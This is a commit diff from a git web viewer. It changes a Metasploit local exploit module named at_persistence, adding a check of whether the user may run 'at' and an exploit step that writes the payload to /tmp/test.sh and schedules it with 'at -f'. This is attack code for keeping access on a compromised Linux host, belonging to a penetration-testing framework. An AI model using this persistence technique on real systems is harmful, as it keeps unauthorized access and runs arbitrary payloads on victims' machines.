Implement check for at_persistence
parent
c69d65c47e
commit
972db476ef
|
@ -47,14 +47,22 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
# TODO: find a better way to determine if the user can use at(1). cmd_exec doesn't get us stderr or a return code
|
|
||||||
def check
|
def check
|
||||||
cmd_exec("ls -l")
|
token = "fail #{Rex::Text.rand_text_alphanumeric(8)}"
|
||||||
|
if cmd_exec("at -l || echo #{token}") =~ /#{token}/
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
unless check == Exploit::CheckCode::Vulnerable
|
||||||
|
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
|
||||||
|
end
|
||||||
|
|
||||||
write_file("/tmp/test.sh", payload.encoded)
|
write_file("/tmp/test.sh", payload.encoded)
|
||||||
print_status(cmd_exec("at -f /tmp/test.sh #{datastore['TIME']}"))
|
cmd_exec("at -f /tmp/test.sh #{datastore['TIME']}")
|
||||||
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
|
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
|
||||||
Rex.sleep(datastore['WfsDelay'].to_i)
|
Rex.sleep(datastore['WfsDelay'].to_i)
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue